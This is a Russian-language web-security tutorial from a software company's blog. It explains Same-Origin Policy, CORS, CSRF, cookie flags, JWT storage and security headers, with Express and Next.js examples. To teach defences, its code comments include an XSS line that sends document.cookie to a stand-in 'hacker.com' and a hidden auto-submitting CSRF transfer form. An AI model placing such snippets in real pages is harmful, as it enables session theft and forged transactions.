CSRF, CORS и cookies: полный гайд по безопасности веб-приложений.

Разбираемся в Same-Origin Policy, CORS, CSRF-атаках и безопасной настройке cookies. С реальными примерами атак и защиты.

Почему каждый разработчик должен это знать

Три аббревиатуры - CSRF, CORS и SameSite cookies - вызывают головную боль у каждого второго разработчика. "Почему мой запрос блокируется?", "Что за CORS error?", "Как правильно настроить куки?" - если вы задавали эти вопросы, эта статья для вас.

Но дело не только в удобстве. Неправильная настройка CORS или cookies - это реальная уязвимость, через которую злоумышленник может украсть данные ваших пользователей, перевести деньги с их счёта или удалить их аккаунт.

Давайте разберёмся раз и навсегда. Простыми словами, с аналогиями и подробными примерами.

Same-Origin Policy: главное правило безопасности браузера

Представьте жилой дом с квартирами. У каждой квартиры свой замок и свой ключ. Жилец квартиры N5 не может зайти в квартиру N8 - даже если он живёт в том же доме. Это правило безопасности.

Same-Origin Policy (SOP) - это такое же правило, но для сайтов в браузере. Оно говорит: скрипт с одного сайта не может читать данные другого сайта.

Два URL считаются "одним сайтом" (same origin), если у них совпадают три вещи: протокол (http/https), домен и порт.

// Примеры: один и тот же origin (сайт) или нет?
// Базовый URL: https://example.com

https://example.com/about       // Тот же - путь /about не влияет
https://example.com:443/api     // Тот же - 443 это стандартный порт для HTTPS

http://example.com              // ДРУГОЙ! http вместо https (разный протокол)
https://api.example.com         // ДРУГОЙ! api.example.com - это поддомен (другой домен)
https://example.com:3000        // ДРУГОЙ! порт 3000 вместо стандартного 443

// Почему поддомен = другой сайт?
// Потому что api.example.com может принадлежать
// совсем другому человеку или команде.
// Браузер не может знать наверняка, поэтому блокирует.

Зачем это нужно? Представьте: вы залогинены в интернет-банке (bank.com). Если бы SOP не существовал, любой сайт мог бы отправить запрос в банк от вашего имени и прочитать ответ - баланс, историю транзакций, паспортные данные. SOP предотвращает это: запрос отправится, но скрипт злоумышленника не сможет прочитать ответ.

CORS: когда нужно разрешить кросс-доменные запросы

SOP защищает, но иногда мешает. Например: ваш сайт живёт на https://mysite.com, а ваш API - на https://api.mysite.com. Это два разных origin! Браузер заблокирует запросы.

CORS (Cross-Origin Resource Sharing) - механизм, который позволяет серверу сказать: "Я разрешаю запросы с этого конкретного сайта".

Аналогия: SOP - это охранник, который не пускает чужих. CORS - это список гостей: "Пропустите Иванова и Петрова, остальных нет".

// CORS-ошибка в консоли браузера (знакомая картина для многих):
// "Access to fetch at 'https://api.mysite.com/data' from origin
//  'https://mysite.com' has been blocked by CORS policy:
//  No 'Access-Control-Allow-Origin' header is present."
//
// Перевод: "Сервер api.mysite.com не сказал, что разрешает
//  запросы с mysite.com. Блокирую."

// Решение: настроить CORS на сервере (Express.js)

import cors from 'cors'  // npm install cors

// ПЛОХО: разрешить ВСЕ сайты (Access-Control-Allow-Origin: *)
// Это как убрать замок с двери - заходи кто хочешь
app.use(cors())  // Никогда не делайте так для API с авторизацией!

// ХОРОШО: разрешить только КОНКРЕТНЫЕ сайты
app.use(cors({
  origin: [
    'https://mysite.com',           // Основной сайт
    'https://admin.mysite.com',     // Админ-панель
    'http://localhost:3000',        // Для разработки на своём компьютере
  ],
  credentials: true,  // Разрешить отправку cookies
  methods: ['GET', 'POST', 'PUT', 'DELETE'],  // Разрешённые HTTP-методы
  allowedHeaders: ['Content-Type', 'Authorization'],  // Разрешённые заголовки
}))

Preflight-запросы: "можно мне так делать?"

Для "непростых" запросов (PUT, DELETE, нестандартные заголовки) браузер сначала отправляет "разведывательный" запрос - OPTIONS. Это как позвонить в ресторан перед визитом: "У вас есть свободный столик?"

// Preflight-запрос (браузер отправляет АВТОМАТИЧЕСКИ, вы его не видите)
// Это происходит "за кулисами"

// Шаг 1: Браузер отправляет OPTIONS-запрос
// OPTIONS /api/users HTTP/1.1
// Host: api.mysite.com
// Origin: https://mysite.com
// Access-Control-Request-Method: PUT        (я хочу использовать PUT)
// Access-Control-Request-Headers: Content-Type, Authorization (с такими заголовками)

// Шаг 2: Сервер отвечает "да, можно" или "нет, нельзя"
// HTTP/1.1 204 No Content
// Access-Control-Allow-Origin: https://mysite.com   (разрешаю этому сайту)
// Access-Control-Allow-Methods: GET, POST, PUT, DELETE  (разрешаю эти методы)
// Access-Control-Allow-Headers: Content-Type, Authorization  (с этими заголовками)
// Access-Control-Max-Age: 86400  (кэшировать ответ на 24 часа)

// Шаг 3: ТОЛЬКО после "разрешения" браузер отправляет настоящий PUT-запрос

// Важно: если сервер не ответит правильно на OPTIONS -
// настоящий запрос НИКОГДА не будет отправлен.
// Это частая причина ошибок: вы видите CORS error,
// хотя сервер работает - просто он не обрабатывает OPTIONS.

Cookies: как браузер запоминает, что вы залогинены

Когда вы входите на сайт (логин + пароль), сервер создаёт "сессию" и отправляет браузеру маленький кусочек данных - cookie. При каждом следующем запросе браузер автоматически отправляет эту cookie, и сервер понимает: "А, это Иван, он залогинен".

Cookie - как браслет в отеле "всё включено". Надели на руку - и на любом шведском столе вас обслуживают без вопросов. Но если браслет украдут - вор тоже получит бесплатную еду.

Поэтому cookies нужно защищать специальными "флагами" (настройками):

// Установка cookie на сервере (Express.js)

// ПЛОХО: cookie без защиты
// Это как браслет из бумаги - легко скопировать и украсть
res.cookie('session', token)

// ХОРОШО: cookie с полной защитой
res.cookie('session', token, {
  // httpOnly: true - САМЫЙ ВАЖНЫЙ ФЛАГ
  // Запрещает JavaScript читать эту cookie
  // Зачем? Если на сайте есть XSS-уязвимость (вредоносный скрипт),
  // скрипт НЕ сможет украсть cookie, потому что у него нет доступа
  httpOnly: true,

  // secure: true - cookie отправляется ТОЛЬКО по HTTPS
  // Зачем? Без этого cookie можно перехватить в кафе с открытым Wi-Fi
  // (сниффинг HTTP-трафика)
  secure: true,

  // sameSite: 'lax' - защита от CSRF (подробнее ниже)
  // 'strict' - cookie НЕ отправляется при любом переходе с другого сайта
  // 'lax'    - cookie отправляется при "безопасной навигации" (GET)
  //            но НЕ при POST с другого сайта (защита от CSRF)
  // 'none'   - cookie отправляется всегда (нужен для кросс-доменных API)
  sameSite: 'lax',

  // maxAge - время жизни cookie в миллисекундах
  // 7 дней = 7 * 24 * 60 * 60 * 1000 = 604800000 миллисекунд
  maxAge: 7 * 24 * 60 * 60 * 1000,

  // path: '/' - cookie доступна на всех страницах сайта
  path: '/',
})

Разберём подробнее флаг httpOnly, потому что он критически важен:

// Почему httpOnly так важен

// Без httpOnly - любой JavaScript-код может прочитать cookie:
// document.cookie  // "session=abc123; theme=dark; lang=ru"
//
// Если злоумышленник нашёл XSS-уязвимость на вашем сайте
// (например, в комментариях можно вставить HTML),
// он может внедрить скрипт:
//
// fetch('https://hacker.com/steal?cookie=' + document.cookie)
//
// Этот скрипт отправит ВСЕ cookies пользователя злоумышленнику!
// Злоумышленник получит session cookie и сможет войти как пользователь.

// С httpOnly - JavaScript НЕ ВИДИТ защищённые cookies:
// document.cookie  // "theme=dark; lang=ru"  (session НЕТ в списке!)
//
// Даже если XSS-уязвимость есть - скрипт злоумышленника
// НЕ может украсть сессионную cookie. Она невидима для JS.

CSRF: как злоумышленник заставляет вас делать то, чего вы не хотите

CSRF (Cross-Site Request Forgery - "подделка межсайтового запроса") - одна из самых коварных атак. Суть: злоумышленник заставляет ВАШ браузер отправить запрос от ВАШЕГО имени, используя ВАШИ cookies. И вы даже не узнаете об этом.

Аналогия: представьте, что кто-то подсунул вам на подпись документ, спрятав его среди обычных бумаг. Вы подписали не глядя - а это был перевод денег.

// Как работает CSRF-атака (пошагово):

// Шаг 1: Вы залогинены в интернет-банке (bank.com)
// Браузер хранит cookie: session=abc123

// Шаг 2: Вы открываете сайт злоумышленника (funny-cats.com)
// На этом сайте есть СКРЫТАЯ форма:
//
// <form action="https://bank.com/api/transfer" method="POST" id="hack">
//   <input type="hidden" name="to" value="hacker-account" />
//   <input type="hidden" name="amount" value="100000" />
// </form>
// <script>document.getElementById('hack').submit()</script>

// Шаг 3: Форма автоматически отправляется
// Браузер видит: "POST-запрос на bank.com? Ок, отправляю."
// И АВТОМАТИЧЕСКИ прикрепляет cookie session=abc123!
// Потому что cookie привязана к домену bank.com

// Шаг 4: bank.com получает запрос с валидной сессией
// Для банка это выглядит как обычный запрос от вас
// Банк переводит 100 000 рублей на счёт хакера

// Вы даже не нажимали никаких кнопок!
// Всё произошло автоматически при открытии страницы

// Почему Same-Origin Policy не спасает?
// SOP запрещает ЧИТАТЬ ответ с другого сайта
// Но НЕ запрещает ОТПРАВЛЯТЬ запросы!
// HTML-формы могут отправлять POST куда угодно - это стандартное поведение

Три способа защиты от CSRF

Способ 1: SameSite cookies (самый простой)

Вспомните флаг sameSite у cookies? Он как раз для этого:

// SameSite=Lax - браузер НЕ отправит cookie при POST с другого сайта
// Это значит: скрытая форма на funny-cats.com НЕ получит вашу session cookie
// и банк увидит неавторизованный запрос

res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',  // Вот и вся защита! Одна строчка.
})

// sameSite: 'lax' разрешает cookie при "безопасной навигации":
// - Клик по ссылке (GET-запрос) - cookie отправится (чтобы пользователь
//   оставался залогиненным при переходе по ссылке из email)
// - Отправка формы (POST) с другого сайта - cookie НЕ отправится
//   (защита от CSRF)

Способ 2: CSRF-токен (классический)

Идея: сервер генерирует случайный секретный код (токен) и встраивает его в страницу. При отправке формы клиент должен передать этот токен обратно. Злоумышленник не знает токен и не может подделать форму.

// Серверная часть: генерация и проверка CSRF-токена

import crypto from 'crypto'

// Middleware: генерируем токен
function csrfToken(req, res, next) {
  if (!req.session.csrfToken) {
    // Генерируем 32 случайных байта и превращаем в строку
    req.session.csrfToken = crypto.randomBytes(32).toString('hex')
  }
  // Передаём токен клиенту через cookie
  // Обратите внимание: httpOnly: false - JS должен прочитать этот токен!
  res.cookie('csrf-token', req.session.csrfToken, {
    httpOnly: false,   // JS нужен доступ для чтения
    secure: true,
    sameSite: 'strict',
  })
  next()
}

// Middleware: проверяем токен при POST/PUT/DELETE
function verifyCsrf(req, res, next) {
  // GET, HEAD, OPTIONS - безопасные методы, пропускаем
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
    return next()
  }

  // Токен должен быть в заголовке X-CSRF-Token
  const token = req.headers['x-csrf-token']
  if (!token || token !== req.session.csrfToken) {
    return res.status(403).json({ error: 'CSRF token invalid' })
  }
  next()
}

app.use(csrfToken)
app.use(verifyCsrf)
// Клиентская часть: отправляем CSRF-токен с каждым запросом

// Читаем токен из cookie
function getCsrfToken() {
  const match = document.cookie.match(/csrf-token=([^;]+)/)
  return match ? match[1] : ''
}

// Обёртка для fetch: автоматически добавляет CSRF-токен
async function apiRequest(url, options = {}) {
  return fetch(url, {
    ...options,
    credentials: 'include',  // Отправлять cookies
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': getCsrfToken(),  // CSRF-токен в заголовке
      ...options.headers,
    },
  })
}

// Злоумышленник с funny-cats.com НЕ может:
// 1. Прочитать cookie csrf-token (Same-Origin Policy)
// 2. Отправить заголовок X-CSRF-Token (он не знает значение)
// Поэтому его запрос будет отклонён!

JWT vs Session cookies: как хранить авторизацию

Два основных подхода к хранению "факта, что пользователь залогинен":

Session cookies (классические сессии):

  • Сервер создаёт "сессию" - запись в памяти или в базе данных
  • Cookie содержит только ID сессии (короткую строку)
  • Вся информация о пользователе - на сервере
  • Можно мгновенно "выкинуть" пользователя (удалить сессию)
  • Проще защитить от XSS (httpOnly cookie)

JWT (JSON Web Token):

  • Сервер НИЧЕГО не хранит - вся информация в самом токене
  • Токен содержит ID пользователя, роль, срок действия
  • Токен подписан секретным ключом (нельзя подделать)
  • Нельзя отозвать до истечения срока (без специального списка)
  • Проще масштабировать (серверу не нужна база сессий)
// Лучшее решение: JWT в httpOnly cookie
// Берём преимущества обоих подходов:
// - Stateless (серверу не нужно хранить сессии)
// - Защита от XSS (JS не может прочитать cookie)

// При успешном входе: создаём JWT и кладём в httpOnly cookie
app.post('/api/login', async (req, res) => {
  // Проверяем логин и пароль
  const user = await authenticate(req.body)
  if (!user) return res.status(401).json({ error: 'Неверные данные' })

  // Создаём JWT-токен
  // jwt.sign(данные, секретный_ключ, опции)
  const token = jwt.sign(
    { userId: user.id, role: user.role },  // Данные в токене
    process.env.JWT_SECRET,                 // Секретный ключ (из переменной окружения)
    { expiresIn: '7d' }                     // Срок действия: 7 дней
  )

  // Кладём JWT в httpOnly cookie
  // JavaScript НЕ может его прочитать - защита от XSS
  // Но браузер автоматически отправляет cookie при каждом запросе
  res.cookie('auth', token, {
    httpOnly: true,     // JS не видит
    secure: true,       // Только HTTPS
    sameSite: 'lax',    // Защита от CSRF
    maxAge: 7 * 24 * 60 * 60 * 1000,  // 7 дней
  })

  // Возвращаем только публичные данные (без токена!)
  res.json({ user: { id: user.id, name: user.name, role: user.role } })
})

// Middleware: проверяем JWT из cookie при каждом запросе
function authMiddleware(req, res, next) {
  // req.cookies.auth - cookie с JWT
  // (нужен middleware cookie-parser: npm install cookie-parser)
  const token = req.cookies.auth
  if (!token) return res.status(401).json({ error: 'Не авторизован' })

  try {
    // jwt.verify проверяет подпись и срок действия
    const decoded = jwt.verify(token, process.env.JWT_SECRET)
    req.user = decoded  // Теперь в req.user есть userId и role
    next()
  } catch {
    res.clearCookie('auth')  // Удаляем просроченный токен
    res.status(401).json({ error: 'Токен истёк, залогиньтесь снова' })
  }
}

Частые ошибки (и как их избежать)

  • CORS: origin: '*' + credentials: true - это запрещено спецификацией! Браузер просто проигнорирует cookies. Если нужны cookies - указывайте конкретные домены
  • JWT в localStorage - любой XSS-скрипт может прочитать localStorage. Храните JWT в httpOnly cookie
  • Забыли Secure флаг - без него cookie передаётся по HTTP и может быть перехвачена в открытом Wi-Fi
  • SameSite: 'none' без CSRF-защиты - если cookie отправляется кросс-доменно, обязательно добавьте CSRF-токен
  • Не проверяете Content-Type - CSRF-атака через HTML-форму отправляет данные как application/x-www-form-urlencoded. Если ваш API принимает только application/json и проверяет это - многие CSRF-атаки не сработают

Заголовки безопасности: дополнительная защита

Помимо CORS и cookies, есть специальные HTTP-заголовки, которые добавляют дополнительный уровень защиты. Настраиваются один раз - защищают всегда:

// Настройка заголовков безопасности в Express.js
// Можно использовать библиотеку helmet: npm install helmet

import helmet from 'helmet'
app.use(helmet())  // Включает все заголовки безопасности

// Или настраиваем вручную, чтобы понимать, что каждый делает:

// X-Content-Type-Options: nosniff
// Запрещает браузеру "угадывать" тип файла
// Без этого браузер может выполнить .jpg как JavaScript,
// если злоумышленник подменил содержимое
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff')
  next()
})

// X-Frame-Options: DENY
// Запрещает встраивать ваш сайт в iframe на другом сайте
// Защита от clickjacking: злоумышленник показывает ваш сайт
// в прозрачном iframe поверх своей страницы.
// Пользователь думает, что кликает на кнопку злоумышленника,
// а на самом деле кликает на кнопку "Удалить аккаунт" на вашем сайте
app.use((req, res, next) => {
  res.setHeader('X-Frame-Options', 'DENY')
  next()
})

// Strict-Transport-Security (HSTS)
// Говорит браузеру: "ВСЕГДА используй HTTPS для этого сайта"
// Даже если пользователь введёт http:// - браузер сам переключит на https://
app.use((req, res, next) => {
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains'
    // max-age=31536000 = 1 год (в секундах)
    // includeSubDomains - распространяется на поддомены
  )
  next()
})

// Content-Security-Policy (CSP)
// Указывает, откуда можно загружать скрипты, стили, картинки
// Самая мощная защита от XSS, но и самая сложная в настройке
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; " +           // По умолчанию - только свой домен
    "script-src 'self'; " +             // Скрипты - только свои
    "style-src 'self' 'unsafe-inline'; " + // Стили - свои + inline
    "img-src 'self' data: https:; " +    // Картинки - свои + data: + любой HTTPS
    "font-src 'self'; " +               // Шрифты - только свои
    "connect-src 'self' https://api.mysite.com" // API-запросы - свой + API
  )
  next()
})

Практический пример: настройка безопасности для Next.js

Вот готовая конфигурация безопасности для реального проекта на Next.js:

// next.config.mjs - настройка заголовков безопасности

const securityHeaders = [
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff',
  },
  {
    key: 'X-Frame-Options',
    value: 'DENY',
  },
  {
    key: 'X-XSS-Protection',
    value: '1; mode=block',
  },
  {
    key: 'Referrer-Policy',
    // strict-origin-when-cross-origin:
    // При переходе на другой сайт отправляется только домен
    // (не полный URL с параметрами)
    value: 'strict-origin-when-cross-origin',
  },
]

export default {
  async headers() {
    return [
      {
        // Применяем ко всем страницам
        source: '/(.*)',
        headers: securityHeaders,
      },
    ]
  },
}

// Middleware для CORS в Next.js API Routes
// src/middleware.ts
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'

export function middleware(request: NextRequest) {
  // Только для API-маршрутов
  if (request.nextUrl.pathname.startsWith('/api/')) {
    const response = NextResponse.next()

    // Разрешаем запросы только с нашего домена
    const allowedOrigins = [
      'https://mysite.com',
      'http://localhost:3000',
    ]
    const origin = request.headers.get('origin')

    if (origin && allowedOrigins.includes(origin)) {
      response.headers.set('Access-Control-Allow-Origin', origin)
      response.headers.set('Access-Control-Allow-Credentials', 'true')
      response.headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE')
      response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization')
    }

    return response
  }
}

Чек-лист безопасности (распечатайте и повесьте на стену)

  • Все cookies: HttpOnly + Secure + SameSite=Lax
  • CORS: конкретные домены вместо *
  • CSRF-токен для cookies с SameSite=None
  • JWT в httpOnly cookie, НЕ в localStorage
  • Заголовки безопасности: X-Content-Type-Options: nosniff, X-Frame-Options: DENY
  • HTTPS везде (включая dev-окружение для тестирования cookies)
  • Content-Type проверяется на сервере
  • Rate limiting на эндпоинтах авторизации (защита от перебора паролей)

Итого

CORS, CSRF и cookies - это три грани одной проблемы: как безопасно передавать данные между клиентом и сервером. Same-Origin Policy защищает по умолчанию, CORS разрешает нужные исключения, SameSite cookies предотвращают CSRF, а httpOnly защищает от кражи токенов через XSS.

Запомните три правила: cookies всегда с httpOnly + Secure + SameSite, CORS никогда с * при авторизации, JWT в cookie, а не в localStorage. Этого достаточно, чтобы закрыть 90% уязвимостей.

Нужна проверка безопасности вашего веб-приложения или помощь с настройкой авторизации? Напишите нам - проведём аудит и исправим уязвимости.

Все статьи
CSRF, CORS и cookies: полный гайд по безопасности веб-приложений | Enot Software